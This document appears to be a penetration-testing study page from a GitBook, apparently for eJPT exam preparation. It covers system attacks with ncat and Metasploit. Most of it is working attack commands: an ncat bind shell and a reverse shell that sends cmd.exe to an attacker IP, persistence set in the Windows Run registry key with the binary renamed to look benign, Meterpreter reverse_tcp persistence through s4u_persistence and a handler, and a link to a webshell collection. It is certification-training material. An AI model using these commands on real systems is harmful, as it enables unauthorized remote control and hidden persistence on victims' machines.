# ⚙️System Attacks

## Classification:

![](https://2411644790-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-McenfzTY6G0gAduakD-%2F-MgQJccDIcvoFvIfKC8H%2F-MgQVAxoW7z6TnO3sOAf%2Fimage.png?alt=media\&token=fce4c577-064c-44af-a9b8-6c61e0c40d8f)

## 🚪Backdoor

### Ncat

```
ncat [options] [hostname] [port]
```

install it in the victim machine and run it with these commands:

```
ncat -l -p 5555 -e cmd.exe
```

> -l listen -e: excute file we choose cmd so we can excute commands.

attacker will

```
ncat [victim_ip] 5555
```

#### can also be executed as  a reverse listener especially when the target is on another network:

in the Attacker machine listen:

```
ncat -l -p 5555 -v
```

> -v: for verbose give us output.

in the target machine:

```
ncat -e cmd.exe {attacker_ip} 5555
```

#### Persistent Backdoor:

in windows Register Editor in \`HKEY\_*LOCALMACHINE\SOFTWARE\Microsoft\CurrentVersion\Run\` we add string value for our ncat (or whatever we name it in the target machine) add command to run* :

```
which's the path to ncat (here it's re-named as winconfig) {Attacker_IP} {Port} -e cmd.exe
```

![](https://2411644790-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-McenfzTY6G0gAduakD-%2F-MgQynDqdXlaI94nGfaR%2F-MgRuIxXW_fhvq6vqs4j%2Fimage.png?alt=media\&token=1b3db888-9233-4b1d-bb29-43974896573c)

then restart the victim machine.

as soon as they logged in the attacker who's listening will et a shell.

### Metasploit

using the **Meterpreter** (which's just like ncat above but with steroids).&#x20;

[**`Meterpreter:`**](https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/) is a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code.&#x20;

Get persistence in target machine:

after hacking one machine you will have already a session that you can browse with `sessions` command:

```
use exploit/windows/loca/s4u_persistence

sessions //see all the sessions you have
set session <ID> //pick session to stay persistent

set trigger logon //whenever target login you will have conn

set payload windows/meterpreter/reverse_tcp //whatever payload

//same as the attack you used to gain access from first place and gett ths session
set lhost <your_IP> 
set lport <open_Port>
```

starter listener:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
exploit
```

## 🔐Password Attacks

{% content-ref url="password-attacks" %}
[password-attacks](https://mo-ela.gitbook.io/shifrablog/pentesting/ejpt/password-attacks)
{% endcontent-ref %}

## 💦Buffer Overflow

## Shell:

a program that executes commands, check this to see various languages and ways to execute a system commands(getting a shell):

{% embed url="<https://www.rosettacode.org/wiki/Execute_a_system_command>" %}

open source webshells (read them before uploading them to a web server):

{% embed url="<https://github.com/tennc/webshell>" %}

\\
